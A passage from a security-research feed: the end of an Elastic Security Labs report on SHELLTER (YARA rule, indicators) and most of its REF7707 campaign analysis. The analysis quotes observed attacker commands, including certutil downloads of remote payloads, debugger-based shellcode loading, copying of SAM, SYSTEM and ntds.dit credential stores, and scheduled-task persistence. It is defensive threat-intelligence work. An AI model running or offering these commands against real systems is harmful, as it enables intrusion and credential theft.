<li><a href="https://attack.mitre.org/techniques/T1588/">Obtain Capabilities</a></li>
</ul>
<h2>Mitigating SHELLTER</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_from_unusual_microsoft_signed_module.toml">Shellcode from Unusual Microsoft Signed Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_thread_suspension_from_unbacked_memory.toml">Thread Suspension from Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ff154ddf0762a4a030c8832eee7753cb19b950ff/behavior/rules/windows/defense_evasion_suspicious_executable_memory_mapping.toml">Suspicious Executable Memory Mapping</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code class="language-yara">rule Windows_Trojan_Shellter {  
    meta:  
        author = &quot;Elastic Security&quot;  
        creation_date = &quot;2025-06-30&quot;  
        last_modified = &quot;2025-06-30&quot;  
        os = &quot;Windows&quot;  
        arch = &quot;x86&quot;  
        category_type = &quot;Trojan&quot;  
        family = &quot;Shellter&quot;  
        threat_name = &quot;Windows.Trojan.Shellter&quot;  
        reference_sample = &quot;c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30&quot;

    strings:  
        $seq_api_hashing = { 48 8B 44 24 ?? 0F BE 00 85 C0 74 ?? 48 8B 44 24 ?? 0F BE 00 89 44 24 ?? 48 8B 44 24 ?? 48 FF C0 48 89 44 24 ?? 8B 04 24 C1 E8 ?? 8B 0C 24 C1 E1 ?? 0B C1 }  
        $seq_debug = { 48 8B 49 30 8B 49 70 8B 40 74 0B C1 25 70 00 00 40 85 C0 75 22 B8 D4 02 00 00 48 05 00 00 FE 7F }  
        $seq_mem_marker = { 44 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 33 C0 83 F8 ?? 74 ?? 48 8B 44 24 ?? 8B 4C 24 ?? 39 08 75 ?? EB ?? 48 63 44 24 ?? 48 8B 4C 24 }  
        $seq_check_jmp_rcx = { 48 89 4C 24 ?? B8 01 00 00 00 48 6B C0 00 48 8B 4C 24 ?? 0F B6 04 01 3D FF 00 00 00 75 ?? B8 01 00 00 00 48 6B C0 01 48 8B 4C 24 ?? 0F B6 04 01 3D E1 00 00 00 75 ?? B8 01 00 00 00 }  
        $seq_syscall_stub = { C6 84 24 98 00 00 00 4C C6 84 24 99 00 00 00 8B C6 84 24 9A 00 00 00 D1 C6 84 24 9B 00 00 00 B8 C6 84 24 9C 00 00 00 00 C6 84 24 9D 00 00 00 00 C6 84 24 9E 00 00 00 00 }  
        $seq_mem_xor = { 48 8B 4C 24 ?? 0F B6 04 01 0F B6 4C 24 ?? 3B C1 74 ?? 8B 44 24 ?? 0F B6 4C 24 ?? 48 8B 54 24 ?? 0F B6 04 02 33 C1 8B 4C 24 ?? 48 8B 54 24 ?? 88 04 0A }  
        $seq_excep_handler = { 48 89 4C 24 08 48 83 EC 18 48 B8 E8 E7 E6 E5 E4 E3 E2 E1 48 89 04 24 48 8B 44 24 20 48 8B 00 81 38 05 00 00 C0 }  
    condition:  
        3 of them  
}  
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shellter">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">SHA-256</td>
<td align="left">Endorphin.exe</td>
<td align="left">SHELLTER-PROTECTED RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">SHA-256</td>
<td align="left">SUPERAntiSpyware.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">SHA-256</td>
<td align="left">Aac3572DramHal_x64.exe</td>
<td align="left">SHELLTER-PROTECTED ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">SHA-256</td>
<td align="left">Branster.exe</td>
<td align="left">SHELLTER-PROTECTED LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">SHA-256</td>
<td align="left">IMCCPHR.exe</td>
<td align="left">SHELLTER-PROTECTED UNKNOWN FAMILY</td>
</tr>
<tr>
<td align="left">263ab8c9ec821ae573979ef2d5ad98cda5009a39e17398cd31b0fad98d862892</td>
<td align="left">SHA-256</td>
<td align="left">Pinnacle Studio Advertising materials.rar</td>
<td align="left">LURE ARCHIVE</td>
</tr>
<tr>
<td align="left">eaglekl[.]digital</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">LUMMA C&amp;C server</td>
</tr>
<tr>
<td align="left">185.156.72[.]80</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td align="left">94.141.12[.]182</td>
<td align="left">ipv4-addr</td>
<td align="left">plotoraus[.]shop server</td>
<td align="left">RHADAMANTHYS C&amp;C server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/DarkWebInformer/status/1923472392157790700">https://x.com/DarkWebInformer/status/1923472392157790700</a></li>
<li><a href="https://www.shellterproject.com/shellter-editions-feature-comparison-table/">https://www.shellterproject.com/shellter-editions-feature-comparison-table/</a></li>
<li><a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf</a></li>
<li><a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">https://github.com/elastic/labs-releases/tree/main/tools/shellter</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/Security Labs Images 2.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[From South America to Southeast Asia: The Fragile Web of REF7707]]></title>
            <link>https://www.elastic.co/kr/security-labs/fragile-web-ref7707</link>
            <guid>fragile-web-ref7707</guid>
            <pubDate>Thu, 13 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF7707 targeted a South American foreign ministry using novel malware families. Inconsistent evasion tactics and operational security missteps exposed additional adversary-owned infrastructure.]]></description>
            <content:encoded><![CDATA[<h2>REF7707 summarized</h2>
<p>Elastic Security Labs has been monitoring a campaign targeting the foreign ministry of a South American nation that has links to other compromises in Southeast Asia. We track this campaign as REF7707.</p>
<p>While the REF7707 campaign is characterized by a well-engineered, highly capable, novel intrusion set, the campaign owners exhibited poor campaign management and inconsistent evasion practices.</p>
<p>The intrusion set utilized by REF7707 includes novel malware families we refer to as FINALDRAFT, GUIDLOADER, and PATHLOADER. We have provided a detailed analysis of their functions and capabilities in the malware analysis report of REF7707 - <a href="https://www.elastic.co/kr/security-labs/finaldraft">You've Got Malware: FINALDRAFT Hides in Your Drafts</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>REF7707 leveraged novel malware against multiple targets</li>
<li>The FINALDRAFT malware has both a Windows and Linux variant</li>
<li>REF7707 used an uncommon LOLBin to obtain endpoint execution</li>
<li>Heavy use of cloud and third-party services for C2</li>
<li>The attackers used weak operational security that exposed additional malware and infrastructure not used in this campaign</li>
</ul>
<h2>Campaign Overview</h2>
<p>In late November 2024, Elastic Security Labs observed a tight cluster of endpoint behavioral alerts occurring at the Foreign Ministry of a South American country. As the investigation continued, we discovered a sprawling campaign and intrusion set that included novel malware, sophisticated targeting, and a mature operating cadence.</p>
<p>While parts of the campaign showed a high level of planning and technical competence, numerous tactical oversights exposed malware pre-production samples, infrastructure, and additional victims.</p>
<h3>Campaign layout (the diamond model)</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leveraging Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a — although cluttered — single diamond.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image1.png" alt="REF7707 - Diamond Model" title="REF7707 - Diamond Model" /></p>
<h2>Execution Flow</h2>
<h3>Primary execution chain</h3>
<p>REF7707 was initially identified through Elastic Security telemetry of a South American nation’s Foreign Ministry. We observed a common LOLBin tactic <a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">using Microsoft’s certutil</a> application to download files from a remote server and save them locally.</p>
<pre><code>certutil  -urlcache -split -f https://[redacted]/fontdrvhost.exe C:\ProgramData\fontdrvhost.exe

certutil  -urlcache -split -f https://[redacted]/fontdrvhost.rar C:\ProgramData\fontdrvhost.rar

certutil  -urlcache -split -f https://[redacted]/config.ini C:\ProgramData\config.ini

certutil  -urlcache -split -f https://[redacted]/wmsetup.log C:\ProgramData\wmsetup.log
</code></pre>
<p>The web server hosting <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> was located within the same organization; however, it was not running the Elastic Agent. This was the first lateral movement observed and provided insights about the intrusion. We’ll discuss these files in more detail, but for now, <code>fontdrvhost.exe</code> is a debugging tool, <code>config.ini</code> is a weaponized INI file, and <code>fontdrvhost.rar</code> was not recoverable.</p>
<h4>WinrsHost.exe</h4>
<p><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winrs">Windows Remote Management’s Remote Shell plugin</a> (<code>WinrsHost.exe</code>) was used to download the files to this system from an unknown source system on a connected network. The plugin is the client-side process used by Windows Remote Management. It indicates that attackers already possessed valid network credentials and were using them for lateral movement from a previously compromised host in the environment. How these credentials were obtained is unknown; it is possible that the credentials were obtained from the web server hosting the suspicious files.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image4.png" alt="WinrsHost.exe is used to execute commands" title="WinrsHost.exe is used to execute commands" /></p>
<p>The attacker downloaded <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code> to the <code>C:\ProgramData\</code> directory; from there, the attacker moved to several other Windows endpoints. While we can’t identify all of the exposed credentials, we noted the use of a local administrator account to download these files.</p>
<p>Following the downloads from the web server to the endpoint, we saw a cluster of behavioral rules firing in quick succession.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image5.png" alt="Behavioral rules accelerating" title="Behavioral rules accelerating" /></p>
<p>On six Windows systems, we observed the execution of an unidentified binary (<code>08331f33d196ced23bb568689c950b39ff7734b7461d9501c404e2b1dc298cc1</code>) as a child of <code>Services.exe</code>. This suspicious binary uses a pseudo-randomly assigned file name consisting of six camel case letters with a <code>.exe</code> extension and is located in the <code>C:\Windows\</code> path (example: <code>C:\Windows\cCZtzzwy.exe</code>). We could not collect this file for analysis, but we infer that this is a variant of <a href="https://www.elastic.co/kr/security-labs/finaldraft">PATHLOADER</a> based on the file size (<code>170,495</code> bytes) and its location. This file was passed between systems using SMB.</p>
<h4>FontDrvHost.exe</h4>
<p>Once the attacker collected <code>fontdrvhost.exe</code>, <code>fontdrvhost.rar</code>, <code>config.ini</code>, and <code>wmsetup.log</code>, it executed <code>fontdrvhost.exe</code> (<code>cffca467b6ff4dee8391c68650a53f4f3828a0b5a31a9aa501d2272b683205f9</code>) to continue with the intrusion. <code>fontdrvhost.exe</code> is a renamed version of the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options">Windows-signed debugger</a> <code>CDB.exe</code>. Abuse of this binary allowed our attackers to execute malicious shellcode delivered in the <code>config.ini</code> file under the guise of trusted binaries.</p>
<p>CDB is a debugger that is over 15 years old. In researching how often it was submitted with suspicious files to VirusTotal, we see increased activity in 2021 and an aggressive acceleration starting in late 2024.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image3.png" alt="VirusTotal submissions and lookups for CDB.exe" title="VirusTotal submissions and lookups for CDB.exe" /></p>
<p>CDB is a <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/">documented LOLBas file</a>, but there hasn’t been much-published research on how it can be abused. Security researcher mrd0x wrote a <a href="https://mrd0x.com/the-power-of-cdb-debugging-tool/">great analysis</a> of CDB outlining how it can be used to run shellcode, launch executables, run DLLs, execute shell commands, and terminate security solutions (and even an <a href="https://web.archive.org/web/20210305190100/http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html">older analysis</a> from 2016 using it as a shellcode runner). While not novel, this is an uncommon attack methodology and could be used with other intrusion metadata to link actors across campaigns.</p>
<p>While <code>config.ini</code> was not collected for analysis, it contained a mechanism through which <code>fontdrvhost.exe</code> loaded shellcode; how it was invoked is similar to FINALDRAFT.</p>
<pre><code>C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData\config.ini -o C:\ProgramData\fontdrvhost.exe
</code></pre>
<ul>
<li><code>-cf</code> - specifies the path and name of a script file. This script file is executed as soon as the debugger is started</li>
<li><code>config.ini</code> - this is the script to be loaded</li>
<li><code>-o</code> - debugs all processes launched by the target application</li>
</ul>
<p>Then <code>fontdrvhost.exe</code> spawned <code>mspaint.exe</code> and injected shellcode into it.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fragile-web-ref7707/image2.png" alt="Shellcode injection into mspaint.exe" title="Shellcode injection into mspaint.exe" /></p>
<p>Elastic Security Labs reverse engineers analyzed this shellcode to identify and characterize the FINALDRAFT malware. Finally, <code>fontdrvhost.exe</code> injected additional shellcode into memory (<code>6d79dfb00da88bb20770ffad636c884bad515def4f8e97e9a9d61473297617e3</code>) that was also identified as the FINALDRAFT malware.</p>
<p>As described in the <a href="https://www.elastic.co/kr/security-labs/finaldraft">analysis</a> of FINALDRAFT, the malware defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> if no target parameter is provided for an injection-related command.</p>
<h3>Connectivity checks</h3>
<p>The adversary performed several connectivity tests using the <code>ping.exe</code> command and via PowerShell.</p>
<p>Powershell’s <code>Invoke-WebRequest</code> cmdlet is similar to <code>wget</code> or <code>curl,</code> which pulls down the contents of a web resource. This cmdlet may be used to download tooling from the command line, but that was not the case here. These requests in context with several <code>ping</code>s are more likely to be connectivity checks.</p>
<p><code>graph.microsoft[.]com</code> and <code>login.microsoftonline[.]com</code> are legitimately owned Microsoft sites that serve API and web GUI traffic for Microsoft’s Outlook cloud email service and other Office 365 products.</p>
<ul>
<li><code>ping graph.microsoft[.]com</code></li>
<li><code>ping www.google[.]com</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://google[.]com\</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://graph.microsoft[.]com\&quot; -UseBasicParsing</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://login.microsoftonline[.]com\&quot; -UseBasicParsing</code></li>
</ul>
<p><code>digert.ictnsc[.]com</code> and<code> support.vmphere[.]com</code> were adversary-owned infrastructure.</p>
<ul>
<li><code>ping digert.ictnsc[.]com</code></li>
<li><code>Powershell Invoke-WebRequest -Uri \&quot;hxxps://support.vmphere[.]com\&quot; -UseBasicParsing</code></li>
</ul>
<p>We cover more about these network domains in the infrastructure section below.</p>
<h3>Reconnaissance / enumeration / credential harvesting</h3>
<p>The adversary executed an unknown script called <code>SoftwareDistribution.txt</code>  using the <code>diskshadow.exe</code> utility, extracted the SAM, SECURITY, and SYSTEM Registry hives, and copied the Active Directory database (<code>ntds.dit</code>). These materials primarily contain credentials and credential metadata. The adversary used the 7zip utility to compress the results:</p>
<pre><code>diskshadow.exe /s C:\\ProgramData\\SoftwareDistribution.txt

cmd.exe /c copy z:\\Windows\\System32\\config\\SAM C:\\ProgramData\\[redacted].local\\SAM /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SECURITY C:\\ProgramData\\[redacted].local\\SECURITY /y

cmd.exe /c copy z:\\Windows\\System32\\config\\SYSTEM C:\\ProgramData\\[redacted].local\\SYSTEM /y

cmd.exe /c copy z:\\windows\\ntds\\ntds.dit C:\\ProgramData\\[redacted].local\\ntds.dit /y

7za.exe a [redacted].local.7z \&quot;C:\\ProgramData\\[redacted].local\\\&quot;
</code></pre>
<p>The adversary also enumerated information about the system and domain:</p>
<pre><code>systeminfo

dnscmd . /EnumZones

net group /domain

C:\\Windows\\system32\\net1 group /domain

quser

reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID

reg query \&quot;HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\&quot;

reg query \&quot;HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\&quot;
</code></pre>
<h3>Persistence</h3>
<p>Persistence was achieved using a <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create">Scheduled Task</a> that invoked the renamed <code>CDB.exe</code> debugger and the weaponized INI file every minute as <code>SYSTEM</code>. This methodology ensured that FINALDRAFT resided in memory.</p>
<pre><code>schtasks /create /RL HIGHEST /F /tn \&quot;\\Microsoft\\Windows\\AppID\\EPolicyManager\&quot; 
/tr \&quot;C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\&quot; 
/sc MINUTE /mo 1 /RU SYSTEM
</code></pre>
<ul>
<li><code>schtasks</code> - the Scheduled Task program</li>
<li><code>/create</code> - creates a new scheduled task</li>
<li><code>/RL HIGHEST</code> - specifies the run level of the job, <code>HIGHEST</code> runs as the highest level of privileges</li>
<li><code>/F</code> - suppress warnings</li>
<li><code>/tn \\Microsoft\\Windows\\AppID\\EPolicyManager\</code> - task name, attempting to mirror an authentic looking scheduled task</li>
<li><code>/tr \&quot;C:\\ProgramData\\fontdrvhost.exe -cf C:\\ProgramData\\config.ini -o C:\\ProgramData\\fontdrvhost.exe\&quot;</code> - task to run, in this case the <code>fontdrvhost.exe</code> commands we covered earlier</li>
<li><code>/sc MINUTE</code> - schedule type, <code>MINUTE</code> specifies the to run on minute intervals</li>
<li><code>/mo 1</code> - modifier, defines <code>1</code> for the schedule interval</li>
<li><code>/RU SYSTEM</code> - defines what account to run as; in this situation, the task will run as the SYSTEM user</li>
</ul>
<h3>FINALDRAFT Analysis</h3>
<p>A technical deep-dive describing the capabilities and architecture of the FINALDRAFT and PATHLOADER malware is available <a href="https://www.elastic.co/kr/security-labs/finaldraft">here</a>. At a high level, FINALDRAFT is a well-engineered, full-featured remote administration tool with the ability to accept add-on modules that extend functionality and proxy network traffic internally by multiple means.</p>
<p>Although FINALDRAFT can establish command and control using various means, the most notable are the means we observed in our victim environment, <a href="https://www.elastic.co/kr/security-labs/finaldraft#communication-protocol">abuse of Microsoft’s Graph API</a>. We first observed this type of third-party C2 in <a href="https://www.elastic.co/kr/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">SIESTAGRAPH</a>, which we reported in December 2022.</p>
<p>This command and control type is challenging for defenders of organizations that heavily depend on network visibility to catch. Once the initial execution and check-in have been completed, all further communication proceeds through legitimate Microsoft infrastructure (<code>graph.microsoft[.]com</code>) and blends in with the other organizational workstations. It also supports relay functionality that enables it to proxy traffic for other infected systems. It evades defenses reliant on network-based intrusion detection and threat-intelligence indicators.</p>
<h4>PATHLOADER and GUIDLOADER</h4>
<p>Both PATHLOADER and GUIDLOADER are used to download and execute encrypted shellcodes in memory. They were discovered in VirusTotal while investigating the C2 infrastructure and strings identified within a FINALDRAFT memory capture. They have only been observed in association with FINALDRAFT payloads.</p>
<p>A May 2023 sample in VirusTotal is the earliest identified binary of the REF7707 intrusion set. This sample was first submitted by a web user from Thailand, <code>dwn.exe</code> (<code>9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf</code>) is a PATHLOADER variant that loads an encrypted FINALDRAFT binary from<code> poster.checkponit[.]com</code> and <code>support.fortineat[.]com</code>.</p>
<p>Between June and August of 2023, a Hong Kong VirusTotal web user uploaded <a href="https://www.virustotal.com/gui/search/41a3a518cc8abad677bb2723e05e2f052509a6f33ea75f32bd6603c96b721081%250Ad9fc1cab72d857b1e4852d414862ed8eab1d42960c1fd643985d352c148a6461%250Af29779049f1fc2d45e43d866a845c45dc9aed6c2d9bbf99a8b1bdacfac2d52f2%250A17b2c6723c11348ab438891bc52d0b29f38fc435c6ba091d4464f9f2a1b926e0%250A20508edac0ca872b7977d1d2b04425aaa999ecf0b8d362c0400abb58bd686f92%250A33f3a8ef2c5fbd45030385b634e40eaa264acbaeb7be851cbf04b62bbe575e75%250A41141e3bdde2a7aebf329ec546745149144eff584b7fe878da7a2ad8391017b9%250A49e383ab6d092ba40e12a255e37ba7997f26239f82bebcd28efaa428254d30e1%250A5e3dbfd543909ff09e343339e4e64f78c874641b4fe9d68367c4d1024fe79249%250A7cd14d3e564a68434e3b705db41bddeb51dbb7d5425fd901c5ec904dbb7b6af0%250A842d6ddb7b26fdb1656235293ebf77c683608f8f312ed917074b30fbd5e8b43d%250Af90420847e1f2378ac8c52463038724533a9183f02ce9ad025a6a10fd4327f12?type=files">12 samples of GUIDLOADER</a>. These samples each had minor modifications to how the encrypted payload was downloaded and were configured to use FINALDRAFT domains:</p>
<ul>
<li><code>poster.checkponit[.]com</code></li>
<li><code>support.fortineat[.]com</code></li>
<li>Google Firebase (<code>firebasestorage.googleapis[.]com</code>)</li>
<li>Pastebin (<code>pastebin[.]com</code>)</li>
<li>A Southeast Asian University public-facing web storage system</li>
</ul>
<p>Some samples of GUIDLOADER appear unfinished or broken, with non-functional decryption routines, while others contain debug strings embedded in the binary. These variations suggest that the samples were part of a development and testing process.</p>
<h4>FINALDRAFT bridging OS’</h4>
<p>In late 2024, two Linux ELF FINALDRAFT variants were uploaded to VirusTotal, one from the United States and one from Brazil. These samples feature similar C2 versatility and a partial reimplementation of the commands available in the Windows version. URLs were pulled from these files for <code>support.vmphere[.]com</code>, <code>update.hobiter[.]com</code>, and <code>pastebin.com</code>.</p>
<h2>Infrastructure Analysis</h2>
<p>In the <a href="https://www.elastic.co/kr/security-labs/finaldraft">FINALDRAFT malware analysis report</a>, several domains were identified in the samples collected in the REF7707 intrusion, and other samples were identified through code similarity.</p>
<h3>Service banner hashes</h3>
<p>A Censys search for <code>hobiter[.]com</code> (the domain observed in the ELF variant of FINALDRAFT, discussed in the previous section) returns an IP address of <code>47.83.8.198</code>. This server is Hong Kong-based and is serving ports <code>80</code> and <code>443</code>. The string “<code>hobiter[.]com</code>” is associated with the TLS certificate on port <code>443</code>. A Censys query pivot on the service banner hash of this port yields six additional servers that share that hash (seven total).</p>
<table>
<thead>
<tr>
<th>IP</th>
<th>TLS Cert names</th>
<th>Cert CN</th>
<th>ports</th>
<th>ASN</th>
<th>GEO</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>47.83.8.198</code></td>
<td>*.hobiter[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>80</code>, <code>443</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>8.218.153.45</code></td>
<td>*.autodiscovar[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>53</code>, <code>443</code>, <code>2365</code>, <code>3389</code>, <code>80</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>45.91.133.254</code></td>
<td>*.vm-clouds[.]net</td>
<td>CloudFlare Origin Certificate</td>
<td><code>443</code>, <code>3389</code></td>
<td><code>56309</code></td>
<td>Nonthaburi, Thailand</td>
</tr>
<tr>
<td><code>8.213.217.182</code></td>
<td>*.ictnsc[.]com</td>
<td>CloudFlare Origin Certificate</td>
<td><code>53</code>, <code>443</code>, <code>3389</code>, <code>80</code></td>
<td><code>45102</code></td>
<td>Bangkok, Thailand</td>
</tr>
<tr>
<td><code>47.239.0.216</code></td>
<td>*.d-links[.]net</td>
<td>CloudFlare Origin Certificate</td>
<td><code>80</code>, <code>443</code></td>
<td><code>45102</code></td>
<td>Hong Kong</td>
</tr>
<tr>
<td><code>203.232.112.186</code></td>
<td>[NONE]</td>
<td>[NONE]</td>
<td><code>80</code>, <code>5357</code>, <code>5432</code>, <code>5985</code>, <code>8000</code>, <code>8080</code>, <code>9090</code>, <code>15701</code>, <code>15702</code>, <code>15703</code>, <code>33990</code> <code>47001</code></td>
<td><code>4766</code></td>
<td>Daejeon, South Korea</td>
</tr>
<tr>
<td><code>13.125.236.162</code></td>
<td>[NONE]</td>
<td>[NONE]</td>
<td><code>80</code>, <code>3389</code>, <code>8000</code>, <code>15111</code>, <code>15709</code>, <code>19000</code></td>
<td><code>16509</code></td>
<td>Incheon, South Korea</td>
</tr>
</tbody>
</table>
<p>Two servers (<code>203.232.112[.]186</code> and <code>13.125.236[.]162</code>) do not share the same profile as the other five. While the service banner hash still matches, it is not on port <code>443</code>, but on ports <code>15701</code>,<code> 15702</code>, <code>15703</code>, and <code>15709</code>. Further, the ports in question do not appear to support TLS communications. We have not attributed them to REF7707 with a high degree of confidence but are including them for completeness.</p>
<p>The other five servers, including the original “hobiter” server, share several similarities:</p>
<ul>
<li>Service banner hash match on port <code>443</code></li>
<li>Southeast Asia geolocations</li>
<li>Windows OS</li>
<li>Cloudflare issued TLS certs</li>
<li>Most have the same ASN belonging to Alibaba</li>
</ul>
<h4>Hobiter and VMphere</h4>
<p><code>update.hobiter[.]com</code> and<code> support.vmphere[.]com</code> were found in an ELF binary (<a href="https://www.virustotal.com/gui/file/f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9">biosets.rar</a>) from December 13, 2024. Both domains were registered over a year earlier, on September 12, 2023. This ELF binary features similar C2 versatility and a partial reimplementation of the commands available in the Windows version of FINALDRAFT.</p>
<p>A name server lookup of <code>hobiter[.]com</code> and <code>vmphere[.]com</code> yields only a Cloudflare name server record for each and no A records. Searching for their known subdomains provides us with A records pointing to Cloudflare-owned IP addresses.</p>
<h4>ICTNSC</h4>
<p><code>ictnsc[.]com</code> is directly associated with the REF7707 intrusion above from a connectivity check (<code>ping digert.ictnsc[.]com</code>) performed by the attackers. The server associated with this domain (<code>8.213.217[.]182</code>) was identified through the Censys service banner hash on the HTTPS service outlined above. Like the other identified infrastructure, the subdomain resolves to Cloudflare-owned IP addresses, and the parent domain only has a Cloudflare NS record. <code>ictnsc[.]com</code> was registered on February 8, 2023.</p>
<p>While we cannot confirm the association as malicious, it should be noted that the domain <code>ict.nsc[.]ru</code> is the Federal Research Center for Information and Computational Technologies web property, often referred to as the FRC or the ICT. This Russian organization conducts research in various areas like computer modeling, software engineering, data processing, artificial intelligence, and high-performance computing.</p>
<p>While not observed in the REF7707 intrusion, the domain we observed (<code>ictnsc[.]com</code>) has an <code>ict</code> subdomain (<code>ict.ictnsc[.]com</code>), which is strikingly similar to <code>ict.nsc[.]ru</code>. Again, we cannot confirm if they are related to the legitimate FRC or ITC, it seems the threat actor intended for the domains to be similar, conflated, or confused with each other.</p>
<h4>Autodiscovar</h4>
<p><code>Autodiscovar[.]com</code> has not been directly associated with any FINALDRAFT malware. It has been indirectly associated with REF7707 infrastructure through pivots on web infrastructure identifiers. The parent domain only has a Cloudflare NS record. A subdomain <a href="https://www.virustotal.com/gui/domain/autodiscovar.com/relations">identified through VirusTotal</a> (<code>cloud.autodiscovar[.]com</code>) points to Cloudflare-owned IP addresses. This domain name resembles other FINALDRAFT and REF7707 web infrastructure and shares the HTTPS service banner hash. This domain was registered on August 26, 2022.</p>
<h4>D-links and VM-clouds</h4>
<p><code>d-links[.]net</code> and <code>vm-clouds[.]net</code> were both registered on September 12, 2023, the same day as <code>hobiter[.]com</code> and <code>vmphere[.]com</code>. The servers hosting these sites also share the same HTTPS service banner hash. They are not directly associated with the FINALDRAFT malware nor have current routable subdomains, though <code>pol.vm-clouds[.]net</code> was previously registered.</p>
<h4>Fortineat</h4>
<p><code>support.fortineat[.]com</code> was hard-coded in the PATHLOADER sample (<code>dwn.exe</code>). During our analysis of the domain, we discovered that it was not currently registered. To identify any other samples communicating with the domain, our team registered this domain and configured a web server to listen for incoming connections.</p>
